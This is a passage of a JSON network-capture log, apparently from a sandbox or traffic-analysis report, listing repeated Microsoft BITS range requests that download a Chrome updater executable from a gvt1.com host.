  1214. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1215. "user-agent": "Microsoft BITS/7.5",
  1216. "method": "GET",
  1217. "host": "r5---sn-tt1eln7l.gvt1.com",
  1218. "version": "1.1",
  1219. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1220. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=900479-1059312\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1221. "port": 80
  1222. },
  1223. {
  1224. "count": 1,
  1225. "body": "",
  1226. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1227. "user-agent": "Microsoft BITS/7.5",
  1228. "method": "GET",
  1229. "host": "r5---sn-tt1eln7l.gvt1.com",
  1230. "version": "1.1",
  1231. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1232. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=1059313-1279442\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1233. "port": 80
  1234. },
  1235. {
  1236. "count": 1,
  1237. "body": "",
  1238. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1239. "user-agent": "Microsoft BITS/7.5",
  1240. "method": "GET",
  1241. "host": "r5---sn-tt1eln7l.gvt1.com",
  1242. "version": "1.1",
  1243. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1244. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=1279443-1443540\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1245. "port": 80
  1246. },
  1247. {
  1248. "count": 1,
  1249. "body": "",
  1250. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1251. "user-agent": "Microsoft BITS/7.5",
  1252. "method": "GET",
  1253. "host": "r5---sn-tt1eln7l.gvt1.com",
  1254. "version": "1.1",
  1255. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1256. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=1443541-1633543\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1257. "port": 80
  1258. },
  1259. {
  1260. "count": 1,
  1261. "body": "",
  1262. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1263. "user-agent": "Microsoft BITS/7.5",
  1264. "method": "GET",
  1265. "host": "r5---sn-tt1eln7l.gvt1.com",
  1266. "version": "1.1",
  1267. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1268. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=1633544-1834775\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1269. "port": 80
  1270. },
  1271. {
  1272. "count": 1,
  1273. "body": "",
  1274. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1275. "user-agent": "Microsoft BITS/7.5",
  1276. "method": "GET",
  1277. "host": "r5---sn-tt1eln7l.gvt1.com",
  1278. "version": "1.1",
  1279. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1280. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=1834776-2033665\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1281. "port": 80
  1282. },
  1283. {
  1284. "count": 1,
  1285. "body": "",
  1286. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1287. "user-agent": "Microsoft BITS/7.5",
  1288. "method": "GET",
  1289. "host": "r5---sn-tt1eln7l.gvt1.com",
  1290. "version": "1.1",
  1291. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1292. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=2033666-2359767\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1293. "port": 80
  1294. },
  1295. {
  1296. "count": 1,
  1297. "body": "",
  1298. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1299. "user-agent": "Microsoft BITS/7.5",
  1300. "method": "GET",
  1301. "host": "r5---sn-tt1eln7l.gvt1.com",
  1302. "version": "1.1",
  1303. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1304. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=2359768-2701940\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1305. "port": 80
  1306. },
  1307. {
  1308. "count": 1,
  1309. "body": "",
  1310. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1311. "user-agent": "Microsoft BITS/7.5",
  1312. "method": "GET",
  1313. "host": "r5---sn-tt1eln7l.gvt1.com",
  1314. "version": "1.1",
  1315. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1316. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=2701941-3074655\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1317. "port": 80
  1318. },
  1319. {
  1320. "count": 1,
  1321. "body": "",
  1322. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1323. "user-agent": "Microsoft BITS/7.5",
  1324. "method": "GET",
  1325. "host": "r5---sn-tt1eln7l.gvt1.com",
  1326. "version": "1.1",
  1327. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1328. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=3074656-3321968\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1329. "port": 80
  1330. },
  1331. {
  1332. "count": 1,
  1333. "body": "",
  1334. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1335. "user-agent": "Microsoft BITS/7.5",
  1336. "method": "GET",
  1337. "host": "r5---sn-tt1eln7l.gvt1.com",
  1338. "version": "1.1",
  1339. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1340. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=3321969-3565644\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1341. "port": 80
  1342. },
  1343. {
  1344. "count": 1,
  1345. "body": "",
  1346. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1347. "user-agent": "Microsoft BITS/7.5",
  1348. "method": "GET",
  1349. "host": "r5---sn-tt1eln7l.gvt1.com",
  1350. "version": "1.1",
  1351. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1352. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=3565645-3917720\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1353. "port": 80
  1354. },
  1355. {
  1356. "count": 1,
  1357. "body": "",
  1358. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1359. "user-agent": "Microsoft BITS/7.5",
  1360. "method": "GET",
  1361. "host": "r5---sn-tt1eln7l.gvt1.com",
  1362. "version": "1.1",
  1363. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1364. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=3917721-4388689\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1365. "port": 80
  1366. },
  1367. {
  1368. "count": 1,
  1369. "body": "",
  1370. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1371. "user-agent": "Microsoft BITS/7.5",
  1372. "method": "GET",
  1373. "host": "r5---sn-tt1eln7l.gvt1.com",
  1374. "version": "1.1",
  1375. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1376. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=4388690-4745032\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1377. "port": 80
  1378. },
  1379. {
  1380. "count": 1,
  1381. "body": "",
  1382. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1383. "user-agent": "Microsoft BITS/7.5",
  1384. "method": "GET",
  1385. "host": "r5---sn-tt1eln7l.gvt1.com",
  1386. "version": "1.1",
  1387. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1388. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=4745033-5092042\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1389. "port": 80
  1390. },
  1391. {
  1392. "count": 1,
  1393. "body": "",
  1394. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1395. "user-agent": "Microsoft BITS/7.5",
  1396. "method": "GET",
  1397. "host": "r5---sn-tt1eln7l.gvt1.com",
  1398. "version": "1.1",
  1399. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1400. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=5092043-5633398\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1401. "port": 80
  1402. },
  1403. {
  1404. "count": 1,
  1405. "body": "",
  1406. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1407. "user-agent": "Microsoft BITS/7.5",
  1408. "method": "GET",
  1409. "host": "r5---sn-tt1eln7l.gvt1.com",
  1410. "version": "1.1",
  1411. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1412. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=5633399-6007861\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1413. "port": 80
  1414. },
  1415. {
  1416. "count": 1,
  1417. "body": "",
  1418. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1419. "user-agent": "Microsoft BITS/7.5",
  1420. "method": "GET",
  1421. "host": "r5---sn-tt1eln7l.gvt1.com",
  1422. "version": "1.1",
  1423. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1424. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=6007862-6406581\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1425. "port": 80
  1426. },
  1427. {
  1428. "count": 1,
  1429. "body": "",
